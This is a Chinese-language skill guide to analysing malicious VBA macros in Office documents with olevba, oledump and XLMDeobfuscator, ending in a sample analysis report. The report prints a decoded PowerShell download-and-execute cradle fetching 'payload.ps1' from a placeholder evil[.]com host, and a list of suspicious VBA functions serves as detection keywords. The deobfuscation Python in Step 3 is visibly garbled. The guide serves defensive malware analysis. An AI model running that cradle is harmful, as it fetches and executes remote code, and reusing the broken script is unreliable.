| name | analyzing-macro-malware-in-office-documents |
| description | 分析嵌入在 Microsoft Office 文档(Word、Excel、PowerPoint)中的恶意 VBA 宏, 识别下载摇篮、载荷执行、持久化机制和反分析技术。 使用 olevba、oledump 和 VBA 去混淆提取攻击链。 适用于 Office 宏分析、VBA 恶意软件调查、恶意文档分析或基于文档的威胁检查相关请求。
|
| domain | cybersecurity |
| subdomain | malware-analysis |
| tags | ["malware","macro","Office","VBA","document-malware"] |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
分析 Office 文档中的宏恶意软件
适用场景
- 一个可疑的 Office 文档(.doc、.docm、.xls、.xlsm、.ppt)被电子邮件安全系统标记
- 调查投递武器化 Office 文档的钓鱼攻击活动
- 提取 VBA 宏代码以识别载荷下载 URL 和执行方法
- 分析混淆的 VBA 代码以了解完整的攻击链
- 确定文档是否使用 DDE、ActiveX 或远程模板注入而非宏
不适用于分析非宏 Office 威胁(DDE、远程模板注入);虽然本技能涵盖这些检测,但可能需要专门分析。
前置条件
- Python 3.8+,安装 oletools(
pip install oletools)
- Didier Stevens 的 oledump.py
- 未安装 Microsoft Office 的隔离分析虚拟机(防止意外执行)
- XLMDeobfuscator 用于 Excel 4.0 宏分析(pip install xlmdeobfuscator)
- LibreOffice 用于安全文档渲染(默认不执行 VBA 宏)
工作流程
步骤 1:文档初始分类
确定文档是否包含宏或其他活动内容:
olevba suspect.docm
oleid suspect.docm
oledump.py suspect.docm
步骤 2:提取和分析 VBA 代码
提取完整的 VBA 宏源代码:
olevba --decode --deobf suspect.docm
olevba --code suspect.docm > extracted_vba.txt
oledump.py -s 8 -v suspect.docm
oledump.py -p plugin_vba_dco suspect.docm
需要识别的关键 VBA 元素:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
自动执行触发器:
- Auto_Open / AutoOpen(Word)
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open(Excel)
- AutoExec
可疑函数:
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell 执行
- URLDownloadToFile
- MSXML2.XMLHTTP(HTTP 请求)
- ADODB.Stream(文件写入)
- Environ()(环境变量)
- CallByName(间接方法调用)
步骤 3:VBA 代码去混淆
去除混淆层以揭示载荷:
import re
def deobfuscate_vba(code):
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
code = re.sub(r'"\s*&\s*"', '', code)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = .group()
+ original.replace(find, replace_with) +
code = re.sub(, resolve_replace, code)
code
() f:
vba_code = f.read()
deobfuscated = deobfuscate_vba(vba_code)
(deobfuscated)
步骤 4:分析 Excel 4.0(XLM)宏
处理绕过 VBA 检测的旧版 Excel 宏:
olevba --xlm suspect.xlsm
xlmdeobfuscator -f suspect.xlsm
oledump.py suspect.xlsm -p plugin_biff.py
步骤 5:检查非宏攻击向量
检查文档中的 DDE、远程模板和嵌入对象:
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE 字段代码
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] 在 {name} 中发现 DDE')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' 命令:{m}')
# 远程模板
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] 远程模板 URL:{url}')
"
oledump.py -p plugin_msg.py suspect.docm
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'{name} 中的外部引用:')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"
步骤 6:生成分析报告
记录完整的宏恶意软件分析:
报告应包含:
- 文档元数据(作者、创建日期、修改日期)
- 宏存在情况和类型(VBA、XLM、DDE、远程模板)
- 识别的自动执行触发器
- 去混淆后的 VBA 源代码(关键函数)
- 第二阶段载荷的下载 URL
- 执行方法(Shell、WScript、PowerShell、COM 对象)
- 社会工程学诱饵描述
- 提取的 IOC(URL、域名、IP、文件哈希)
- 针对特定文档模式的 YARA 规则
核心概念
| 术语 | 定义 |
|---|
| VBA 宏 | 嵌入在 Office 文档中的 Visual Basic for Applications 代码,可与操作系统交互、下载文件和执行命令 |
| Auto_Open | VBA 事件过程,在 Word 文档打开时自动执行,是宏恶意软件的主要触发器 |
| OLE(对象链接和嵌入) | Microsoft 复合文档格式;Office 文档是 OLE 容器,包含可存储宏和对象的流 |
| DDE(动态数据交换) | 被文档滥用于无需宏即可执行命令的旧版 Windows IPC 机制;由字段代码更新触发 |
| 远程模板注入 | 当文档打开时从远程 URL 加载启用宏的模板的攻击,绕过初始宏检测 |
| XLM 宏(Excel 4.0) | 先于 VBA 的旧版 Excel 宏语言;存储在隐藏工作表中,传统 VBA 分析工具常常遗漏 |
| 受保护视图 | Office 沙箱,防止宏执行直到用户点击"启用内容";社会工程学针对此屏障 |
工具与系统
- oletools(olevba):用于分析 OLE 文件、提取 VBA 宏以及检测可疑关键词和 IOC 的 Python 工具包
- oledump.py:Didier Stevens 的工具,支持插件的 OLE 流分析,用于 VBA 解压和提取
- XLMDeobfuscator:专为去混淆 Excel 4.0(XLM)宏公式设计的工具
- ViperMonkey:VBA 模拟引擎,在沙箱环境中执行 VBA 宏以观察行为
- YARA:使用 VBA 字符串模式和 OLE 结构指标进行基于文档的恶意软件检测
常见场景
场景:分析带有混淆 VBA 宏的钓鱼文档
场景背景:多名员工收到附有 .docm 文件的电子邮件,声称是发票。文档提示用户"启用内容"以查看完整文档。
方法:
- 运行 oleid 确认存在 VBA 宏并识别自动执行触发器
- 使用 olevba --decode --deobf 提取 VBA 代码进行初步去混淆
- 识别自动执行入口点(Auto_Open 或 Document_Open)
- 从入口点通过辅助函数追踪执行流
- 去混淆字符串拼接和 Chr() 编码以揭示下载 URL
- 识别下载方法(WScript.Shell、MSXML2.XMLHTTP、PowerShell)
- 提取所有 IOC 并为特定混淆模式创建 YARA 规则
常见陷阱:
- 在 Microsoft Office 中打开文档进行"快速分析"而不使用命令行工具
- 遗漏存储在 UserForms 中的 VBA 代码(GUI 元素的事件处理程序中可能包含代码)
- 忽略文档元数据,其中可能包含攻击者指纹(作者名、模板名)
- 不检查同一文档中是否同时存在 VBA 和 XLM 宏(某些恶意软件两者兼用)
输出格式
Office 宏恶意软件分析
================================
文档: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
文件类型: Microsoft Word 文档(带宏的 OOXML)
作者: Administrator
创建日期: 2025-09-10 14:23:00
宏分析
类型: VBA 宏
触发器: AutoOpen()
流: 3 个 VBA 流(ThisDocument、Module1、Module2)
去混淆后的执行链
1. AutoOpen() -> 调用 Module1.RunPayload()
2. RunPayload() 通过 Chr() 拼接构建命令字符串
3. 命令:powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. 解码:IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
社会工程学诱饵
- 文档显示伪造的"受保护文档"图像
- 指示用户"启用内容"以查看文档
- 内容被模糊/隐藏直到宏执行
提取的 IOC
下载 URL: hxxp://evil[.]com/payload.ps1
C2 域名: evil[.]com
IP 地址: 185.220.101[.]42
User-Agent: PowerShell(默认 WebClient)
MITRE ATT&CK
T1566.001 钓鱼:鱼叉式钓鱼附件
T1204.002 用户执行:恶意文件
T1059.001 命令和脚本解释器:PowerShell
T1059.005 命令和脚本解释器:Visual Basic